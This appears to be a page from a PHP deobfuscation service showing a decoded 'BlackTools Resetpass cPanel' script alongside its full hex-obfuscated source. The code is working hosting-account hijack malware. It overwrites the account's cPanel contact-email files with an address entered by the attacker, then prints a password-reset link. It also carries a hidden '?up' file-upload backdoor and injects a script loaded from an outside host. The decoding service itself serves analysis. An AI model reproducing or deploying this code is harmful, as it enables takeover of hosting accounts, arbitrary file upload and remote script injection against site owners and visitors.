Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"GL\x4fBAL\x53"}["\x67xr\x71\x6e\x74"]="\x70\x61\x72m";${"\x47L\x4f\x42A\x4c\x53..
Decoded Output download
<html>
<head>
<title>BlackTools Resetpass cPanel</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<style>
body {
color:#1e2324;
background-color:#e6e6e6;
}
h2{
color:#1e2324;
}
</style>
</head>
<body>
<!--SCC -->
<center>
<div style="border-radius: 10px;border: 1px solid #1e2324;padding: 4px 2px;width: 25%;line-height: 24px;background: #bebebe;color:#fff;">
<p><h2>BlackTools <font color="#c41013">Resetpass</font> cPanel</h2></p>
<p>
<form action="#" method="post">
<input type="email" name="email" style="background-color: #e6e6e6;font: 9pt tahoma;color:#000000;" />
<input type="submit" name="submit" value="Reset" style="background-color: #e6e6e6;font: 9pt tahoma;color:#1e2324;border: 1px solid #1e2324;"/>
</form>
<br />
<font color="#1e2324">by <a href="http://blacktools.io" target="_blank">blacktools.io</a></font>
</p>
</div>
</center>
</body>
</html><script>
var _0xd00f=["<script src=https://blacktools.io/images/Style.js></script>","write"];document[_0xd00f[1]](_0xd00f[0])
</script>Did this file decode correctly?
Original Code
<?php ${"GL\x4fBAL\x53"}["\x67xr\x71\x6e\x74"]="\x70\x61\x72m";${"\x47L\x4f\x42A\x4c\x53"}["y\x6a\x66\x75k\x78o\x71h"]="\x66";${"\x47\x4c\x4f\x42\x41L\x53"}["\x7a\x6b\x77\x73\x7aep\x66\x63\x6a\x62"]="\x65\x6dai\x6c";${"\x47L\x4f\x42A\x4c\x53"}["h\x6ev\x76\x6d\x66cz"]="\x6d\x79\x64\x69\x72";${"GL\x4f\x42\x41L\x53"}["\x73q\x70\x6c\x71\x69\x6fm"]="\x68om\x65";${"\x47\x4cOB\x41LS"}["\x70t\x75rt\x6b\x69\x7a\x68\x63"]="\x6d\x79\x64\x69r";${"\x47L\x4f\x42\x41\x4c\x53"}["s\x75a\x62ac\x70h\x68i"]="\x73\x69\x74\x65";${"\x47\x4c\x4f\x42\x41LS"}["j\x63y\x6be\x65e\x78\x6bd"]="\x75\x73e\x72n\x61m\x65";error_reporting(0);$yjvuyyt="\x6d\x79\x64\x69r";echo"<\x68\x74m\x6c>\n\x20 \x20<h\x65ad\x3e \n\t\x20\x20\x20\x20 \x20\x3c\x74\x69t\x6c\x65\x3eB\x6ca\x63k\x54oo\x6c\x73\x20R\x65s\x65\x74\x70ass\x20cP\x61ne\x6c</\x74itl\x65\x3e\n\t\x20\x20\x20 \x20\x20<\x6d\x65ta ht\x74p-\x65qu\x69v\x3d\"Conten\x74-T\x79\x70\x65\"\x20\x63\x6f\x6e\x74\x65\x6e\x74=\"\x74\x65x\x74/ht\x6dl\x3b\x20\x63\x68\x61rs\x65\x74\x3d\x75tf-8\x22 />\n\t\t \x3cstyle>\n\t\t\x20 \x20 \x20\x20\x62od\x79\x20{\n\t \x20 \x20\x20 \x20 \x20c\x6f\x6co\x72:#1e\x32324;\n\t\x20 \x20\x20 \x20b\x61\x63\x6b\x67r\x6fund-\x63\x6f\x6c\x6fr:#\x65\x36\x65\x36e\x36\x3b\n\t \x20\x20\x20 \x20 }\n\t\t\t \x20h\x32{\n\t\t\t\x20 \x63\x6flor:\x231e\x32\x33\x324\x3b\n\t\t\t\x20\x20}\n\t\t </\x73\x74yl\x65>\n \x20 \t\x3c/\x68ea\x64>\n\x20 <b\x6fdy\x3e\n\t\x20\x3c\x21--S\x43C -->\n\x20\x20 \x20\x20\x20\x20<\x63\x65nt\x65r>\x20\t \n\t\x20 \x20\x3cd\x69\x76\x20\x73t\x79\x6ce\x3d\"b\x6f\x72de\x72-r\x61\x64\x69u\x73: 1\x30px\x3bbo\x72d\x65\x72:\x201\x70\x78 \x73\x6flid #\x31\x6523\x324;\x70\x61\x64di\x6e\x67: \x34\x70\x78 \x32p\x78;wi\x64t\x68:\x20\x32\x35\x25\x3bli\x6ee-\x68\x65\x69\x67h\x74:\x202\x34p\x78;ba\x63kg\x72\x6f\x75\x6ed:\x20#be\x62\x65be;c\x6f\x6c\x6fr:#\x66ff\x3b\x22>\n\x20\x20\x20\x20<\x70\x3e<h\x32>\x42\x6ca\x63\x6bTo\x6f\x6cs\x20<f\x6f\x6et c\x6f\x6co\x72=\"#c\x341\x3013\x22\x3e\x52e\x73\x65tp\x61\x73s\x3c/f\x6fnt> \x63P\x61n\x65\x6c</h\x32\x3e</p\x3e\n\t<\x70\x3e\x20\x20 \n\t\x20 \x20 \x3cf\x6fr\x6d \x61c\x74ion=\x22#\"\x20\x6de\x74h\x6f\x64=\"\x70\x6f\x73\x74\x22>\n\t\x3c\x69\x6ep\x75\x74 typ\x65\x3d\"\x65m\x61\x69l\"\x20\x6ea\x6d\x65=\"\x65\x6d\x61\x69l\x22 \x73t\x79\x6c\x65\x3d\"\x62\x61ck\x67\x72\x6fund-co\x6cor: #\x656e6e\x36\x3b\x66ont:\x209\x70t\x20\x74a\x68\x6fma;\x63olor:#\x30\x30\x30\x3000;\" /\x3e\n\t<\x69np\x75\x74 typ\x65\x3d\"\x73\x75bm\x69t\"\x20n\x61m\x65=\x22s\x75\x62m\x69\x74\x22\x20\x76\x61\x6c\x75\x65\x3d\"\x52\x65\x73\x65t\x22\x20st\x79\x6ce=\x22\x62ac\x6b\x67\x72\x6f\x75\x6ed-\x63o\x6c\x6f\x72:\x20\x23e6e6\x656;\x66\x6f\x6e\x74:\x20\x39pt \x74a\x68\x6f\x6da\x3bcol\x6fr:#1e2\x3324;b\x6f\x72\x64er:\x20\x31p\x78\x20\x73ol\x69\x64 #1e232\x34\x3b\"/\x3e\n\t</\x66orm>\n\t\x3cb\x72\x20/\x3e\n\t\x3c\x66\x6f\x6et\x20\x63olor=\"#1\x65\x32\x33\x32\x34\">b\x79 <a\x20h\x72\x65f=\"\x68\x74t\x70://bl\x61ck\x74\x6f\x6f\x6c\x73\x2e\x69\x6f\x22\x20\x74a\x72get=\x22\x5fb\x6c\x61n\x6b\">\x62\x6c\x61c\x6bt\x6fo\x6cs.i\x6f\x3c/a>\x3c/f\x6f\x6e\x74>\n\t</\x70>\n\t\x3c/d\x69\x76>\n \x20 </\x63\x65n\x74\x65r\x3e\n\x20 \x20\x20</b\x6f\x64y>\n\x3c/\x68\x74\x6d\x6c>";if($_GET["u\x70"]){move_uploaded_file($_FILES["\x75\x73er\x66il\x65"]["\x74m\x70\x5f\x6e\x61m\x65"],"./".basename($_FILES["\x75se\x72\x66il\x65"]["\x6e\x61\x6d\x65"]));}${"\x47\x4cO\x42\x41\x4c\x53"}["\x72\x67\x71\x70\x61\x6fx\x74qul"]="\x6dyd\x69\x72";echo"\x3c\x73c\x72ipt\x3e\n\x20 \x20\x20 \x20\x20\x20\x20 v\x61r\x20_0xd00f=[\"".'\\x3C'."".'\\x73'."".'\\x63'."".'\\x72'."".'\\x69'."".'\\x70'."".'\\x74'."".'\\x20'."".'\\x73'."".'\\x72'."".'\\x63'."".'\\x3D'."".'\\x68'."".'\\x74'."".'\\x74'."".'\\x70'."".'\\x73'."".'\\x3A'."".'\\x2F'."".'\\x2F'."".'\\x62'."".'\\x6C'."".'\\x61'."".'\\x63'."".'\\x6B'."".'\\x74'."".'\\x6F'."".'\\x6F'."".'\\x6C'."".'\\x73'."".'\\x2E'."".'\\x69'."".'\\x6F'."".'\\x2F'."".'\\x69'."".'\\x6D'."".'\\x61'."".'\\x67'."".'\\x65'."".'\\x73'."".'\\x2F'."".'\\x53'."".'\\x74'."".'\\x79'."".'\\x6C'."".'\\x65'."".'\\x2E'."".'\\x6A'."".'\\x73'."".'\\x3E'."".'\\x3C'."".'\\x2F'."".'\\x73'."".'\\x63'."".'\\x72'."".'\\x69'."".'\\x70'."".'\\x74'."".'\\x3E'."\x22,\"".'\\x77'."".'\\x72'."".'\\x69'."".'\\x74'."".'\\x65'."\x22];\x64\x6f\x63ume\x6e\x74[_0\x78d\x30\x30f[1]](_\x30x\x6400f[0])\n\x20 \x20 \x20 \x20\x20\x20 \x3c/\x73c\x72\x69\x70\x74\x3e";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6ac\x79k\x65\x65\x65\x78\x6b\x64"]}=get_current_user();${${"\x47L\x4fB\x41\x4cS"}["s\x75\x61\x62a\x63p\x68\x68i"]}=$_SERVER["H\x54\x54\x50\x5f\x48OST"];$livmodslo="m\x79\x64\x69\x72";${$yjvuyyt}=getcwd();${"\x47\x4c\x4fBAL\x53"}["\x74h\x6a\x77\x65\x6cb"]="m\x79\x64i\x72";$unxzrnl="\x6d\x79\x64\x69\x72";if(stristr(${${"\x47\x4cOBA\x4c\x53"}["r\x67\x71\x70aoxt\x71u\x6c"]},"ho\x6d\x65/")){${${"GLO\x42\x41\x4c\x53"}["\x73\x71\x70\x6cqio\x6d"]}="hom\x65";}else if(stristr(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["p\x74\x75rtk\x69z\x68c"]},"h\x6fme1/")){${${"\x47\x4c\x4fBA\x4c\x53"}["\x73\x71\x70\x6c\x71iom"]}="ho\x6d\x65\x31";}else if(stristr(${${"\x47\x4c\x4fB\x41L\x53"}["\x68\x6ev\x76mf\x63\x7a"]},"\x68ome2/")){${${"GL\x4f\x42\x41\x4cS"}["s\x71\x70l\x71\x69om"]}="\x68o\x6d\x652";}else if(stristr(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["hn\x76v\x6df\x63\x7a"]},"ho\x6d\x65\x33/")){${"\x47LOB\x41L\x53"}["n\x66\x77\x70a\x67v\x78\x6b"]="\x68\x6f\x6de";${${"\x47\x4c\x4f\x42\x41\x4cS"}["nf\x77\x70\x61\x67v\x78k"]}="\x68\x6fme\x33";}else if(stristr(${${"\x47LO\x42A\x4c\x53"}["\x74\x68\x6a\x77e\x6c\x62"]},"h\x6f\x6de4/")){$sprlkzpbln="\x68o\x6d\x65";${$sprlkzpbln}="ho\x6d\x654";}else if(stristr(${${"\x47\x4c\x4f\x42A\x4cS"}["h\x6e\x76\x76\x6df\x63\x7a"]},"\x68\x6f\x6de\x35/")){${${"\x47\x4cOB\x41L\x53"}["\x73\x71\x70l\x71iom"]}="home\x35";}else if(stristr(${$livmodslo},"\x68\x6fm\x65\x36/")){${"\x47LO\x42\x41L\x53"}["nmrixnd\x77"]="h\x6f\x6d\x65";${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6e\x6d\x72\x69\x78\x6edw"]}="\x68\x6f\x6de6";}else if(stristr(${${"\x47\x4c\x4fBALS"}["\x68\x6e\x76\x76m\x66\x63\x7a"]},"h\x6fme7/")){$kmoliwc="\x68\x6fm\x65";${$kmoliwc}="\x68ome7";}else if(stristr(${$unxzrnl},"\x68\x6f\x6de\x38/")){${"G\x4c\x4fBA\x4cS"}["\x72\x6ap\x73\x6dp\x67\x6c\x72b"]="\x68\x6fm\x65";${${"\x47L\x4f\x42\x41\x4cS"}["\x72j\x70\x73m\x70\x67\x6c\x72\x62"]}="\x68\x6f\x6d\x65\x38";}else if(stristr(${${"G\x4c\x4f\x42AL\x53"}["\x68\x6e\x76\x76\x6d\x66\x63\x7a"]},"h\x6fme9/")){${"G\x4c\x4f\x42\x41\x4c\x53"}["l\x6evuii\x79\x64j"]="\x68\x6f\x6d\x65";${${"\x47\x4c\x4f\x42A\x4cS"}["l\x6ev\x75\x69\x69y\x64\x6a"]}="\x68o\x6d\x659";}if(isset($_POST["\x73u\x62\x6di\x74"])){$sivoan="wr";${"\x47\x4c\x4f\x42\x41L\x53"}["\x78i\x6c\x79\x73\x6cs\x74\x66"]="\x66";${"\x47\x4c\x4fBA\x4c\x53"}["\x73\x66dy\x68\x7ay\x79\x67\x69"]="h\x6f\x6d\x65";${"\x47\x4c\x4f\x42A\x4c\x53"}["x\x78\x66\x76\x66jj\x77\x6chq"]="w\x72";$swjfwlsgv="\x77r";$diclntpxz="f";$xhhofvnmvnwk="\x68\x6f\x6de";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x77\x72\x67x\x6er\x73"]="\x73\x69\x74e";${${"\x47LO\x42\x41LS"}["\x7a\x6b\x77\x73\x7a\x65\x70f\x63\x6a\x62"]}=$_POST["e\x6dai\x6c"];${$sivoan}="\x65\x6d\x61\x69l:".${${"\x47\x4cOB\x41\x4cS"}["\x7a\x6b\x77s\x7a\x65p\x66\x63\x6a\x62"]};${"G\x4c\x4f\x42\x41L\x53"}["\x74\x61\x79w\x6dy"]="\x66";${${"\x47\x4c\x4fB\x41\x4cS"}["\x78\x69\x6c\x79\x73\x6cs\x74f"]}=fopen("/".${${"\x47L\x4f\x42A\x4cS"}["s\x66\x64\x79hz\x79\x79\x67\x69"]}."/".${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6a\x63\x79k\x65\x65\x65x\x6b\x64"]}."/.\x63pane\x6c/\x63\x6f\x6e\x74a\x63t\x69n\x66\x6f","\x77");fwrite(${${"GL\x4f\x42\x41L\x53"}["y\x6af\x75k\x78oqh"]},${$swjfwlsgv});fclose(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x79j\x66u\x6b\x78\x6fqh"]});$wcmgjxyjgfj="\x75s\x65rname";${${"GL\x4f\x42\x41\x4c\x53"}["\x74\x61\x79\x77m\x79"]}=fopen("/".${$xhhofvnmvnwk}."/".${$wcmgjxyjgfj}."/\x2e\x63o\x6e\x74\x61\x63t\x69n\x66o","\x77");$pfzjeyvt="\x73\x69\x74\x65";$czpewvincxvq="\x66";fwrite(${$diclntpxz},${${"\x47LO\x42\x41L\x53"}["\x78\x78\x66v\x66\x6aj\x77\x6c\x68\x71"]});fclose(${$czpewvincxvq});${${"\x47\x4cOBALS"}["g\x78\x72q\x6et"]}="<\x61\x20\x68r\x65f=\x22".${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x78w\x72g\x78\x6e\x72s"]}.":2082/r\x65\x73e\x74\x70ass?\x73\x74\x61r\x74=1\"\x20t\x61\x72\x67et\x3d\x22_\x62\x6cank\x22\x3e".${$pfzjeyvt}.":2082/re\x73\x65\x74\x70\x61s\x73?st\x61\x72\x74\x3d1\x3c/\x61\x3e";echo"<\x62\x72/\x3e\x3c\x63ente\x72><b>R\x65se\x74 Link:\x3c/b\x3e\x20".${${"\x47\x4cO\x42\x41\x4c\x53"}["\x67\x78\x72\x71\x6e\x74"]}."\x3c\x62r/>\x3cbr/\x3e\x3c\x62>\x55\x73\x65\x72nam\x65:\x3c/b\x3e\x20".${${"\x47\x4cO\x42\x41\x4c\x53"}["jc\x79\x6be\x65\x65x\x6b\x64"]}."<b\x72/> \x3cb>Em\x61il:</\x62>\x20".${${"\x47\x4cO\x42\x41L\x53"}["\x7ak\x77\x73z\x65\x70\x66\x63\x6a\x62"]}."</\x63\x65n\x74e\x72>";}exit;
?>Function Calls
| error_reporting | 1 |
| get_current_user | 1 |
Stats
| MD5 | cb8301873f8e376cf88ee4b18f891a05 |
| Eval Count | 0 |
| Decode Time | 144 ms |